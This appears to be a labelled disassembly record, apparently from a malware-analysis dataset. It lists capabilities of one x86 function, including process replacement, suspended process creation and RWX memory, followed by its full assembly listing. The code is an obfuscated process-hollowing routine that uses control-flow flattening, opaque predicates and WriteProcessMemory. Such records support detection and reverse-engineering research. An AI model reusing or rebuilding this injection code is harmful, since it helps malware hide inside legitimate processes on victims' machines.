Function at 0x40f3f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c4
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1cc], eax
mov eax, dword [0x44f680]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c8], 0x6396345e
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x1d0], eax
sub eax, 0x81586d5f
je 0x412a12
jmp 0x40f435
mov eax, dword [ebp - 0x1d0]
sub eax, 0x820a147f
je 0x4133c4
jmp 0x40f44b
mov eax, dword [ebp - 0x1d0]
sub eax, 0x8346ec3c
je 0x413c16
jmp 0x40f461
mov eax, dword [ebp - 0x1d0]
sub eax, 0x83d132c9
je 0x4124ce
jmp 0x40f477
mov eax, dword [ebp - 0x1d0]
sub eax, 0x84cac518
je 0x4128e6
jmp 0x40f48d
mov eax, dword [ebp - 0x1d0]
sub eax, 0x859dd04f
je 0x413f90
jmp 0x40f4a3
mov eax, dword [ebp - 0x1d0]
sub eax, 0x86af53d3
je 0x410f1e
jmp 0x40f4b9
mov eax, dword [ebp - 0x1d0]
sub eax, 0x86dd4d29
je 0x412b7b
jmp 0x40f4cf
mov eax, dword [ebp - 0x1d0]
sub eax, 0x86fbeba0
je 0x411e57
jmp 0x40f4e5
mov eax, dword [ebp - 0x1d0]
sub eax, 0x87ebdb68
je 0x413dc7
jmp 0x40f4fb
mov eax, dword [ebp - 0x1d0]
sub eax, 0x8b528d1b
je 0x41402f
jmp 0x40f511
mov eax, dword [ebp - 0x1d0]
sub eax, 0x8ba5c3a1
je 0x412963
jmp 0x40f527
mov eax, dword [ebp - 0x1d0]
sub eax, 0x8df472ba
je 0x413eee
jmp 0x40f53d
mov eax, dword [ebp - 0x1d0]
sub eax, 0x8ee487c8
je 0x413f3e
jmp 0x40f553
mov eax, dword [ebp - 0x1d0]
sub eax, 0x901fb153
je 0x41207f
jmp 0x40f569
mov eax, dword [ebp - 0x1d0]
sub eax, 0x90b2a051
je 0x413da9
jmp 0x40f57f
mov eax, dword [ebp - 0x1d0]
sub eax, 0x912df875
je 0x41400b
jmp 0x40f595
mov eax, dword [ebp - 0x1d0]
sub eax, 0x92473e9b
je 0x413f03
jmp 0x40f5ab
mov eax, dword [ebp - 0x1d0]
sub eax, 0x93da68cf
je 0x4116a8
jmp 0x40f5c1
mov eax, dword [ebp - 0x1d0]
sub eax, 0x94a57dad
je 0x410e57
jmp 0x40f5d7
mov eax, dword [ebp - 0x1d0]
sub eax, 0x94a7adb6
je 0x412eb2
jmp 0x40f5ed
mov eax, dword [ebp - 0x1d0]
sub eax, 0x95b874df
je 0x41317a
jmp 0x40f603
mov eax, dword [ebp - 0x1d0]
sub eax, 0x96c811da
je 0x4132bd
jmp 0x40f619
mov eax, dword [ebp - 0x1d0]
sub eax, 0x971525b9
je 0x4129d9
jmp 0x40f62f
mov eax, dword [ebp - 0x1d0]
sub eax, 0x9b0abf78
je 0x4121f3
jmp 0x40f645
mov eax, dword [ebp - 0x1d0]
sub eax, 0x9bc5afa4
je 0x4139ca
jmp 0x40f65b
mov eax, dword [ebp - 0x1d0]
sub eax, 0x9f110f8b
je 0x413a40
jmp 0x40f671
mov eax, dword [ebp - 0x1d0]
sub eax, 0x9f27cb8e
je 0x4121a8
jmp 0x40f687
mov eax, dword [ebp - 0x1d0]
sub eax, 0x9fe1964e
je 0x413050
jmp 0x40f69d
mov eax, dword [ebp - 0x1d0]
sub eax, 0xa3cb3379
je 0x413606
jmp 0x40f6b3
mov eax, dword [ebp - 0x1d0]
sub eax, 0xa4a81f5c
je 0x411e87
jmp 0x40f6c9
mov eax, dword [ebp - 0x1d0]
sub eax, 0xaa454aaa
je 0x413cc4
jmp 0x40f6df
mov eax, dword [ebp - 0x1d0]
sub eax, 0xaa5ba7c7
je 0x41104b
jmp 0x40f6f5
mov eax, dword [ebp - 0x1d0]
sub eax, 0xab422000
je 0x4117e7
jmp 0x40f70b
mov eax, dword [ebp - 0x1d0]
sub eax, 0xaca46c0d
je 0x411371
jmp 0x40f721
mov eax, dword [ebp - 0x1d0]
sub eax, 0xadeaac77
je 0x413589
jmp 0x40f737
mov eax, dword [ebp - 0x1d0]
sub eax, 0xae1ebcbf
je 0x411b73
jmp 0x40f74d
mov eax, dword [ebp - 0x1d0]
sub eax, 0xae4d5df3
je 0x4119d3
jmp 0x40f763
mov eax, dword [ebp - 0x1d0]
sub eax, 0xae7d2287
je 0x413fd8
jmp 0x40f779
mov eax, dword [ebp - 0x1d0]
sub eax, 0xaf31ff7a
je 0x412e1a
jmp 0x40f78f
mov eax, dword [ebp - 0x1d0]
sub eax, 0xb0462a5e
je 0x4117d8
jmp 0x40f7a5
mov eax, dword [ebp - 0x1d0]
sub eax, 0xb1096286
je 0x411d50
jmp 0x40f7bb
mov eax, dword [ebp - 0x1d0]
sub eax, 0xb24403af
je 0x413657
jmp 0x40f7d1
mov eax, dword [ebp - 0x1d0]
sub eax, 0xb30d2400
je 0x413529
jmp 0x40f7e7
mov eax, dword [ebp - 0x1d0]
sub eax, 0xb6c10612
je 0x411f3e
jmp 0x40f7fd
mov eax, dword [ebp - 0x1d0]
sub eax, 0xb7d434c6
je 0x412ee0
jmp 0x40f813
mov eax, dword [ebp - 0x1d0]
sub eax, 0xb82fcce5
je 0x413538
jmp 0x40f829
mov eax, dword [ebp - 0x1d0]
sub eax, 0xb8d81a8a
je 0x411c6e
jmp 0x40f83f
mov eax, dword [ebp - 0x1d0]
sub eax, 0xbbe6aed1
je 0x4126ff
jmp 0x40f855
mov eax, dword [ebp - 0x1d0]
sub eax, 0xbd1ce63c
je 0x413c8d
jmp 0x40f86b
mov eax, dword [ebp - 0x1d0]
sub eax, 0xbda3d28c
je 0x413122
jmp 0x40f881
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc00f7513
je 0x4124ad
jmp 0x40f897
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc02bef9d
je 0x4134f0
jmp 0x40f8ad
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc0e35b99
je 0x410d5c
jmp 0x40f8c3
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc1bceed4
je 0x413fe7
jmp 0x40f8d9
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc26e0ad1
je 0x413fa5
jmp 0x40f8ef
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc33489ff
je 0x411f6b
jmp 0x40f905
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc4518bd7
je 0x4115f2
jmp 0x40f91b
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc4cb967d
je 0x411820
jmp 0x40f931
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc50ffb04
je 0x411acd
jmp 0x40f947
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc57fba48
je 0x413e33
jmp 0x40f95d
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc5d029ba
je 0x41191a
jmp 0x40f973
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc7cbae58
je 0x413032
jmp 0x40f989
mov eax, dword [ebp - 0x1d0]
sub eax, 0xc8bd38a7
je 0x412002
jmp 0x40f99f
mov eax, dword [ebp - 0x1d0]
sub eax, 0xca96963f
je 0x413904
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
mov edx, ecx
sub edx, 0x95867e34
sub edx, 1
add edx, 0x95867e34
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbd1ce63c
mov ecx, 0x38719709
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov dword [ebp - 0x1c8], 0x67a13c3b
jmp 0x41408c
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.0040ed60
add esp, 4
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x150], eax
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
mov edx, ecx
add edx, 0xd1728ca5
sub edx, 1
sub edx, 0xd1728ca5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaa454aaa
mov ecx, 0xa5f3dc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x14c], eax
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
mov edx, ecx
sub edx, 0x95f5f671
sub edx, 1
add edx, 0x95f5f671
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b034b38
mov ecx, 0xf945c161
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov dword [ebp - 0x1c8], 0xdea507b8
jmp 0x41408c
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1bc], 0
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1c4], 0
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e342e12
mov ecx, 0x17986c8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov ax, word [ebp - 0x12a]
movzx eax, ax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x1c8], 0xf051e5fe
jmp 0x41408c
mov dword [ebp - 0x1c8], 0xab422000
jmp 0x41408c
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x1b4]
imul edx, dword [ebp - 0x1c4], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
sub eax, 0xb7703024
add eax, ecx
add eax, 0xb7703024
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x1c8], 0xc4cb967d
jmp 0x41408c
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x1b4]
imul edx, dword [ebp - 0x1c4], 0x28
add eax, edx
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x11c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x1c0]
mov esi, dword [ebp - 0x1b4]
imul eax, dword [ebp - 0x1c4], 0x28
add esi, eax
mov eax, 0x5182c68d
mov ecx, 0xec90f716
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x114], eax
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
mov edx, eax
sub edx, 0xfcc1f514
sub edx, 1
add edx, 0xfcc1f514
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x271eae50
mov ecx, 0x22b37931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov esi, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
add esi, 0x97b74e1f
add esi, eax
sub esi, 0x97b74e1f
mov edx, dword [ebp - 0x118]
mov eax, 0x5182c68d
mov ecx, 0xf7c504e3
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x87ebdb68
mov ecx, 0x13657a6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov dword [ebp - 0x1c8], 0x379c7603
jmp 0x41408c
mov dword [ebp - 0x1c8], 0xe399a0a
jmp 0x41408c
mov dword [ebp - 0x1c8], 0x725ceb45
jmp 0x41408c
mov dword [ebp - 0x1c8], 0xfec7ce73
jmp 0x41408c
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
mov edx, eax
sub edx, 0xaf8c117e
sub edx, 1
add edx, 0xaf8c117e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe3af9529
mov ecx, 0x6030a1e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov dword [ebp - 0x1c8], 0xd0dba2d8
jmp 0x41408c
mov eax, dword [ebp - 0xe8]
mov esi, dword [eax + 0x1c]
mov edx, dword [ebp - 0xf0]
mov eax, 0x269e20bc
mov ecx, 0x4c687fa
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf10b82f
mov ecx, 0xe9a1c729
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 4]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1c8], 0x32874467
jmp 0x41408c
mov ecx, dword [ebp - 0x1bc]
sub ecx, 0x267fe843
add ecx, 8
add ecx, 0x267fe843
mov eax, dword [ebp - 0x19c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 4]
sub eax, 0xf7e18748
sub eax, 8
add eax, 0xf7e18748
shr eax, 1
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x1c8], 0x9b0abf78
jmp 0x41408c
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0xdc]
mov dword [eax], ecx
mov dword [ebp - 0x1c8], 0x742494b8
jmp 0x41408c
mov dl, byte [ebp - 0xc5]
mov eax, 0xf7b7a18a
mov ecx, 0x83d132c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x1c8], 0x48a55da1
jmp 0x41408c
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8df472ba
mov ecx, 0xd27178ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov dword [ebp - 0x1c8], 0x2818bf0a
jmp 0x41408c
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
mov edx, ecx
add edx, 0x852ac9bf
sub edx, 1
sub edx, 0x852ac9bf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1fe74944
mov ecx, 0x971525b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov dword [ebp - 0x1c8], 0x6200f26a
jmp 0x41408c
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x1c8], 0x37dca336
jmp 0x41408c
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x1c8], 0x38878ab0
jmp 0x41408c
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x859dd04f
mov ecx, 0x5fc4dd8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x1c8], 0xb7d434c6
jmp 0x41408c
mov edx, dword [ebp - 0x84]
mov eax, 0xf3ad801b
mov ecx, 0x2a45f104
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov dl, byte [ebp - 0x80]
mov eax, 0x95b874df
mov ecx, 0x9fe1964e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0xff9b605
or eax, edx
or ecx, 0xff9b605
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7f], al
mov dword [ebp - 0x1c8], 0x234fb4c4
jmp 0x41408c
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf1440fde
mov ecx, 0xb0c1a6b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7e], al
mov dword [ebp - 0x1c8], 0xf5c5eca0
jmp 0x41408c
mov dl, byte [ebp - 0x7d]
mov eax, 0x820a147f
mov ecx, 0xe69db02b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
mov edx, ecx
add edx, 0xb59677de
sub edx, 1
sub edx, 0xb59677de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc1bceed4
mov ecx, 0x1e88eae5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov edx, dword [ebp - 0x7c]
mov eax, 0xb82fcce5
mov ecx, 0xae7a508
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov dword [ebp - 0x1c8], 0xb82fcce5
jmp 0x41408c
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
mov edx, eax
add edx, 0xb4c1f02e
sub edx, 1
sub edx, 0xb4c1f02e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c5b6fad
mov ecx, 0xadeaac77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7c5b6fad
mov ecx, 0x44f20ec5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
mov edx, eax
sub edx, 0x473aaf8
sub edx, 1
add edx, 0x473aaf8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x912df875
mov ecx, 0xb24403af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [0x450b44]
mov ecx, dword [0x450b40]
mov edx, eax
sub edx, 0xa0eb8488
sub edx, 1
add edx, 0xa0eb8488
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x912df875
mov ecx, 0xfd0b1076
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
mov edx, ecx
add edx, 0x303a92d2
sub edx, 1
sub edx, 0x303a92d2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x53141ae3
mov ecx, 0x9f110f8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x450b44]
mov eax, dword [0x450b40]
mov edx, ecx
sub edx, 0x7f54f272
sub edx, 1
add edx, 0x7f54f272
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x53141ae3
mov ecx, 0x37badede
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c8], eax
jmp 0x41408c
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x164]
add eax, 0x14f3a735
add eax, ecx
sub eax, 0x14f3a735
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1c8], 0x2e4c3cb2
jmp 0x41408c
mov eax, dword [ebp - 0x15c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 8
mov dword [esp + 8], 0x2cc
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1c8], 0x38719709
jmp 0x41408c
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.0040ed60
add esp, 4
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1c8], 0x86af53d3
jmp 0x41408c
mov dword [ebp - 0x1c8], 0x3af681c6
jmp 0x41408c
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1c8], 0x13657a6d
jmp 0x41408c
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x1c8], 0x45b0309a
jmp 0x41408c
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x1c8], 0xbbe6aed1
jmp 0x41408c
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0xa8]
mov dword [eax], ecx
mov dword [ebp - 0x1c8], 0x35dae348
jmp 0x41408c
mov eax, dword [ebp - 0x17c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x1c8], 0xfdbab4a7
jmp 0x41408c
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x1c8], 0xaf31ff7a
jmp 0x41408c
mov dword [ebp - 0x1c8], 0xe7505593
jmp 0x41408c
mov dword [ebp - 0x1c8], 0x28c43c66
jmp 0x41408c
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x1c8], 0x1e88eae5
jmp 0x41408c
mov dword [ebp - 0x1c8], 0xb24403af
jmp 0x41408c
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov dword [ebp - 0x1c8], 0xf2878bbd
jmp 0x41408c
jmp 0x40f419